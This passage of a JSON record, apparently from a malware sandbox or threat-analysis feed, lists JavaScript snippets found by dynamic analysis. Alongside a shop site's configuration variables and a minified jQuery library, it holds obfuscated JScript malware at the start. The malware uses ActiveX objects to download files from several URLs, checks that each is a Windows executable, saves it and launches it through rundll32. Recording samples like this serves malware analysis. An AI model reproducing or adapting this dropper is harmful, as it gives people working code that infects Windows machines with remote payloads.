ActiveXObject(eval('\"\\x4d\\x2c\\x53\\x2c\\x58\\x2c\\x4d\\x2c\\x4c\\x2c\\x32\\x2c\\x2e\\x2c\\x58\\x2c\\x4d\\x2c\\x4c\\x2c\\x48\\x2c\\x54\\x2c\\x54\\x2c\\x50\".OloloOloloOloloOloloOloloOloloEe9()'));function OloloOloloOloloOloloOloloOloloEo2(){var OloloOloloOloloOloloOloloOloloAk3 = OloloOloloOloloOloloOloloOloloKn7[\"GetFile\"](OloloOloloOloloOloloOloloOloloOs3);return OloloOloloOloloOloloOloloOloloAk3[\"ShortPath\"];}var OloloOloloOloloOloloOloloOloloAXm9 = 0;for (var OloloOloloOloloOloloOloloOloloGh8 = 0; OloloOloloOloloOloloOloloOloloGh8 < OloloOloloOloloOloloOloloOloloHCy9.length; OloloOloloOloloOloloOloloOloloGh8 = OloloOloloOloloOloloOloloOloloGh8 + 1){try{var OloloOloloOloloOloloOloloOloloGh7=new ActiveXObject(\"ADODB.Stream\");OloloOloloOloloOloloOloloOloloJFb1.open(\"\\x47\\x2c\\x45\\x2c\\x54\".OloloOloloOloloOloloOloloOloloEe9(), OloloOloloOloloOloloOloloOloloHCy9[OloloOloloOloloOloloOloloOloloGh8], false);OloloOloloOloloOloloOloloOloloJFb1.setRequestHeader(\"User-Agent\",\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");OloloOloloOloloOloloOloloOloloJFb1[\"s,e,n,d\".OloloOloloOloloOloloOloloOloloEe9()]();// while (OloloOloloOloloOloloOloloOloloJFb1.readystate < 4) WScript[\"Sleep\"](100);OloloOloloOloloOloloOloloOloloGh7.open();OloloOloloOloloOloloOloloOloloGh7.type=1;var OloloOloloOloloOloloOloloOloloAg7 = new Date();OloloOloloOloloOloloOloloOloloAg7.setFullYear(\"2015\");/*@cc_onOloloOloloOloloOloloOloloOloloGh7.write(OloloOloloOloloOloloOloloOloloJFb1.ResponseBody);OloloOloloOloloOloloOloloOloloGh7.position=0;if (\"\"+OloloOloloOloloOloloOloloOloloAg7.getFullYear() == \"2015\") OloloOloloOloloOloloOloloOloloGh7[\"SaveToFile\"](OloloOloloOloloOloloOloloOloloBn5, OloloOloloOloloOloloOloloOloloOn9);OloloOloloOloloOloloOloloOloloGh7.close();var OloloOloloOloloOloloOloloOloloUj3 = OloloOloloOloloOloloOloloOloloZSu1(OloloOloloOloloOloloOloloOloloBn5);OloloOloloOloloOloloOloloOloloUj3 = OloloOloloOloloOloloOloloOloloDf8(OloloOloloOloloOloloOloloOloloUj3, OloloOloloOloloOloloOloloOloloUJo4);if (OloloOloloOloloOloloOloloOloloUj3[0] != 77 || OloloOloloOloloOloloOloloOloloUj3[1] != 90) continue;OloloOloloOloloOloloOloloOloloFe7(OloloOloloOloloOloloOloloOloloOs3, OloloOloloOloloOloloOloloOloloUj3);var OloloOloloOloloOloloOloloOloloIIm6 = OloloOloloOloloOloloOloloOloloEo2();if (\"\"+OloloOloloOloloOloloOloloOloloAg7[\"getFullYear\"]() == \"2015\") eval('OloloOloloOloloOloloOloloOloloXh7[\"R\\x2c\\x75\\x2c\\x6e\".OloloOloloOloloOloloOloloOloloEe9()](\"r\\x2c\\x75\\x2c\\x6e\\x2c\\x64\\x2c\\x6c\\x2c\\x6c\\x2c\\x33\\x2c\\x32\".OloloOloloOloloOloloOloloOloloEe9() + \" \" + OloloOloloOloloOloloOloloOloloIIm6 + \",\" + OloloOloloOloloOloloOloloOloloCMf7);');@*/break;}catch (e) {continue;};}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "var CUSTOMIZE_TEXTFIELD = 1;var FancyboxI18nClose = 'Cerrar';var FancyboxI18nNext = 'Siguiente';var FancyboxI18nPrev = 'Previo';var added_to_wishlist = 'El producto se ha añadido con éxito a su lista de deseos.';var ajax_allowed = true;var ajaxsearch = true;var baseDir = 'http://decorvise.com/';var baseUri = 'http://decorvise.com/';var blocksearch_type = 'top';var contentOnly = false;var currency = {\"id\":1,\"name\":\"Euro\",\"iso_code\":\"EUR\",\"iso_code_num\":\"978\",\"sign\":\"\\u20ac\",\"blank\":\"1\",\"conversion_rate\":\"1.000000\",\"deleted\":\"0\",\"format\":\"2\",\"decimals\":\"1\",\"active\":\"1\",\"prefix\":\"\",\"suffix\":\" \\u20ac\",\"id_shop_list\":null,\"force_id\":false};var currencyBlank = 1;var currencyFormat = 2;var currencyRate = 1;var currencySign = '€';var customizationIdMessage = 'Personalización n°';var delete_txt = 'Eliminar';var displayList = false;var freeProductTranslation = '¡Gratis!';var freeShippingTranslation = 'Envío gratuito!';var generated_date = 1481832084;var hasDeliveryAddress = false;var id_lang = 1;var img_dir = 'http://decorvise.com/themes/jaro/img/';var instantsearch = false;var isGuest = 0;var isLogged = 0;var isMobile = false;var loggin_required = 'Debe identificarse para administrar su lista de deseos.';var mywishlist_url = 'http://decorvise.com/module/blockwishlist/mywishlist';var page_name = 'pagenotfound';var placeholder_blocknewsletter = 'Introduzca su dirección de correo electrónico';var priceDisplayMethod = 0;var priceDisplayPrecision = 2;var quickView = true;var removingLinkText = 'eliminar este producto de mi carrito';var roundMode = 2;var search_url = 'http://decorvise.com/buscar';var static_token = '6eca8a9d3170e2005d18c42b0498677c';var toBeDetermined = 'A determinar';var token = '66027c74c452a20e48ad7e1a5b9ea63a';var usingSecureMode = false;var wishlistProductsIds = false;",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k=\"\".trim,l={},m=\"1.11.0\",n=function(a,b){return new n.fn.init(a,b)},o=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,p=/^-ms-/,q=/-([\\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(\"boolean\"==typeof g&&(j=g,g=arguments[h]||{},h++),\"object\"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:\"jQuery\"+(m+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return\"function\"===n.type(a)},isArray:Array.isArray||function(a){return\"array\"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||\"object\"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,\"constructor\")&&!j.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}if(l.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+\"\":\"object\"==typeof a||\"function\"==typeof a?h[i.call(a)]||\"object\":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,\"ms-\").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:k&&!k.call(\"\\ufeff\\xa0\")?function(a){return null==a?\"\":k.call(a)}:function(a){return null==a?\"\":(a+\"\").replace(o,\"\")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,\"string\"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return\"string\"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return+new Date},support:l}),n.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(a,b){h[\"[object \"+b+\"]\"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return\"function\"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:\"array\"===c||0===b||\"number\"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s=\"sizzle\"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A=\"undefined\",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},J=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",K=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",L=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",M=L.replace(\"w\",\"w#\"),N=\"\\\\[\"+K+\"*(\"+L+\")\"+K+\"*(?:([*^$|!~]?=)\"+K+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+M+\")|)|)\"+K+\"*\\\\]\",O=\":(\"+L+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+N.replace(3,8)+\")*)|.*)\\\\)|)\",P=new RegExp(\"^\"+K+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+K+\"+$\",\"g\"),Q=new RegExp(\"^\"+K+\"*,\"+K+\"*\"),R=new RegExp(\"^\"+K+\"*([>+~]|\"+K+\")\"+K+\"*\"),S=new RegExp(\"=\"+K+\"*([^\\\\]'\\\"]*?)\"+K+\"*\\\\]\",\"g\"),T=new RegExp(O),U=new RegExp(\"^\"+M+\"$\"),V={ID:new RegExp(\"^#(\"+L+\")\"),CLASS:new RegExp(\"^\\\\.(\"+L+\")\"),TAG:new RegExp(\"^(\"+L.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+N),PSEUDO:new RegExp(\"^\"+O),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+K+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+K+\"*(?:([+-]|)\"+K+\"*(\\\\d+)|))\"+K+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+J+\")$\",\"i\"),needsContext:new RegExp(\"^\"+K+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+K+\"*((?:-\\\\d)?\\\\d*)\"+K+\"*\\\\)|)(?=[^-]|$)\",\"i\")},W=/^(?:input|select|textarea|button)$/i,X=/^h\\d$/i,Y=/^[^{]+\\{\\s*\\[native \\w/,Z=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,$=/[+~]/,_=/'|\\\\/g,ab=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+K+\"?|(\"+K+\")|.)\",\"ig\"),bb=function(a,b,c){var d=\"0x\"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||\"string\"!=typeof a)return d;if(1!==(i=b.nodeType)&&9!==i)return[];if(n&&!e){if(f=Z.exec(a))if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode)return d;if(g.id===h)return d.push(g),d}else if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h)return d.push(g),d}else{if(f[2])return G.apply(d,b.getElementsByTagName(a)),d;if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(h)),d}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&\"object\"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute(\"id\"))?q=p.replace(_,\"\\\\$&\"):b.setAttribute(\"id\",q),q=\"[id='\"+q+\"'] \",j=m.length;while(j--)m[j]=q+pb(m[j]);u=$.test(a)&&mb(b.parentNode)||b,v=m.join(\",\")}if(v)try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute(\"id\")}}}return xb(a.replace(P,\"$1\"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+\" \")>d.cacheLength&&delete b[a.shift()],b[c+\" \"]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement(\"div\");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split(\"|\"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return\"input\"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return(\"input\"===c||\"button\"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?\"HTML\"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener(\"unload\",function(){k()},!1):g.attachEvent&&g.attachEvent(\"onunload\",function(){k()})),c.attributes=gb(function(a){return a.className=\"i\",!a.getAttribute(\"className\")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment(\"\")),!a.getElementsByTagName(\"*\").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML=\"<div class='a'></div><div class='a i'></div>\",a.firstChild.className=\"i\",2===a.getElementsByClassName(\"i\").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute(\"id\")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode(\"id\");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if(\"*\"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML=\"<select t=''><option selected=''></option></select>\",a.querySelectorAll(\"[t^='']\").length&&o.push(\"[*^$]=\"+K+\"*(?:''|\\\"\\\")\"),a.querySelectorAll(\"[selected]\").length||o.push(\"\\\\[\"+K+\"*(?:value|\"+J+\")\"),a.querySelectorAll(\":checked\").length||o.push(\":checked\")}),gb(function(a){var b=e.createElement(\"input\");b.setAttribute(\"type\",\"hidden\"),a.appendChild(b).setAttribute(\"name\",\"D\"),a.querySelectorAll(\"[name=d]\").length&&o.push(\"name\"+K+\"*[*^$|!~]?=\"),a.querySelectorAll(\":enabled\").length||o.push(\":enabled\",\":disabled\"),a.querySelectorAll(\"*,:x\"),o.push(\",.*:\")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,\"div\"),q.call(a,\"[s!='']:x\"),p.push(\"!=\",O)}),o=o.length&&new RegExp(o.join(\"|\")),p=p.length&&new RegExp(p.join(\"|\")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},z=b?function(a,b){if(a===b)return j=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b)return j=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0;if(f===g)return ib(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)k.unshift(c);while(h[d]===k[d])d++;return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,\"='$1']\"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b)))try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return i=null,a},e=db.getText=function(a){var b,c=\"\",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if(\"string\"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||\"\").replace(ab,bb),\"~=\"===a[2]&&(a[3]=\" \"+a[3]+\" \"),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),\"nth\"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*(\"even\"===a[3]||\"odd\"===a[3])),a[5]=+(a[7]+a[8]||\"odd\"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(\")\",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return\"*\"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+\" \"];return b||(b=new RegExp(\"(^|\"+K+\")\"+a+\"(\"+K+\"|$)\"))&&w(a,function(a){return b.test(\"string\"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute(\"class\")||\"\")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?\"!=\"===b:b?(e+=\"\",\"=\"===b?e===c:\"!=\"===b?e!==c:\"^=\"===b?c&&0===e.indexOf(c):\"*=\"===b?c&&e.indexOf(c)>-1:\"$=\"===b?c&&e.slice(-c.length)===c:\"~=\"===b?(\" \"+e+\" \").indexOf(c)>-1:\"|=\"===b?e===c||e.slice(0,c.length+1)===c+\"-\":!1):!0}},CHILD:function(a,b,c,d,e){var f=\"nth\"!==a.slice(0,3),g=\"last\"!==a.slice(-4),h=\"of-type\"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?\"nextSibling\":\"previousSibling\",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p=\"only\"===a&&!o&&\"nextSibling\"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}else if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error(\"unsupported pseudo: \"+a);return e[s]?e(b):e.length>1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,\"$1\"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||\"\")||db.error(\"unsupported lang: \"+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do if(c=n?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&\"button\"===a.type||\"button\"===b},text:function(a){var b;return\"input\"===a.nodeName.toLowerCase()&&\"text\"===a.type&&(null==(b=a.getAttribute(\"type\"))||\"text\"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=jb(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=kb(b);function nb(){}nb.prototype=d.filters=d.pseudos,d.setFilters=new nb;function ob(a,b){var c,e,f,g,h,i,j,k=x[a+\" \"];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){(!c||(e=Q.exec(h)))&&(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P,\" \")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?db.error(a):x(a,i).slice(0)}function pb(a){for(var b=0,c=a.length,d=\"\";c>b;b++)d+=a[b].value;return d}function qb(a,b,c){var d=b.dir,e=c&&\"parentNode\"===d,f=v++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||\"*\",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else 